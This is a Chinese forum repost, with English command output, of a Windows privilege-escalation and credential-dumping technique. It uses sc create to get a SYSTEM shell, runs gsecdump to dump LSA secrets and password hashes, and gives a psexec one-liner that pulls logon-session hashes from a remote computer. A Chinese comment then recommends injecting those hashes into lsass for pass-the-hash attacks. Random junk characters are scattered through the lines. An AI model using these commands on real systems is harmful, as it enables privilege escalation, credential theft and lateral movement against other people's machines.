o get a DOS Prompt as NT system:) t6 G7 u$ o. d
: }/ @2 I; a5 t: c, Q) v
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
) F2 R( a' L" H' J' o[SC] CreateService SUCCESS- ^2 A; r0 X$ i/ O
; Y+ r& f3 ~7 y
C:\>sc start shellcmdline
9 A' Y4 ~$ l3 B' q[SC] StartService FAILED 1053:
9 Z j( ^( h; E) \" Z7 t' [, W! {* V# `
The service did not respond to the start or control request in a timely fashion.
# O1 e0 e9 k& O, i8 a9 d# r C* R8 P& _7 \; s: S" Q
C:\>sc delete shellcmdline/ Q% K0 e4 H) s5 `6 r. m+ E
[SC] DeleteService SUCCESS M3 c' h; ~- S* X O6 ^
: k" D' G& M; ]2 |' U$ W3 h; ~7 b! Y( S/ B------------
; ^4 n9 B* L6 j8 R$ d( I4 s* P2 b9 U; d9 J2 k
Then in the new DOS window:6 }* t$ G7 W9 A: \5 D5 M: I
7 Y) K: n8 S! B0 m4 z4 V' M6 q" qMicrosoft Windows XP [Version 5.1.2600]
0 P6 L; o: T( {(C) Copyright 1985-2001 Microsoft Corp.. [, b1 H x3 ^2 O/ i
. L+ \# F2 l2 K1 H' h& r5 j* I0 ^C:\WINDOWS\system32>whoami; b8 l: g1 f5 m! l
NT AUTHORITY\SYSTEM
/ B7 J7 L0 a" E6 E
# P7 |7 L" s6 ~! @" y$ XC:\WINDOWS\system32>gsecdump -h) A) Y7 v! F& |
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se): Z1 `# e0 S& Z( B
usage: gsecdump [options]1 A8 o, Y5 t$ n3 Y4 u1 B& n
6 W6 M- N6 z5 q& E ^1 K
options:& o$ ]& q0 F* L; E1 z; E2 y
-h [ --help ] show help
* S5 C) |% w9 O7 \. Z3 H-a [ --dump_all ] dump all secrets {) k5 Y& g% o& T
-l [ --dump_lsa ] dump lsa secrets: r" D5 m$ R. m% j5 m% S# W: L
-w [ --dump_wireless ] dump microsoft wireless connections
% T: N% A' s& q- m; n) }) X-u [ --dump_usedhashes ] dump hashes from active logon sessions& L6 D/ k V' j8 K( V
-s [ --dump_hashes ] dump hashes from SAM/AD
% d0 x4 Z3 W% A( Y2 ]1 L9 c# f5 L$ q/ v9 A
Although I like to use:
9 g: O! v( N2 f
2 I* W+ } k8 \PsExec v1.83 - Execute processes remotely* T( x. Q- b" C! t( e
Copyright (C) 2001-2007 Mark Russinovich
$ ^, t3 m' ?" j. ZSysinternals - 链接标记[url]www.sysinternals.com[/url]
& V2 U! t5 L' y$ E3 p: r% o! Z' e
1 g8 A/ C( f. f) k$ L+ J6 BC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT, z5 |4 Q0 x3 }+ V2 x1 j5 m$ b4 g7 `
. q% G) j1 O- Y& Gto get the hashes from active logon sessions of a remote system.
, K. O# A# q7 ]/ W3 P! @: Z" o0 R1 B) t! a" w
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.6 W B ^3 n' @7 \) Y, F; K
# H! k1 `% [7 U3 a" F2 S
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.) Z7 z- y* w1 w8 u* | ~& N( p1 @1 \
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
+ I/ z- ~, r( ]/ \1 \3 K( E6 |1 o+ |( ]9 W5 |
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
8 ?7 Y) c; {9 l2 `5 w |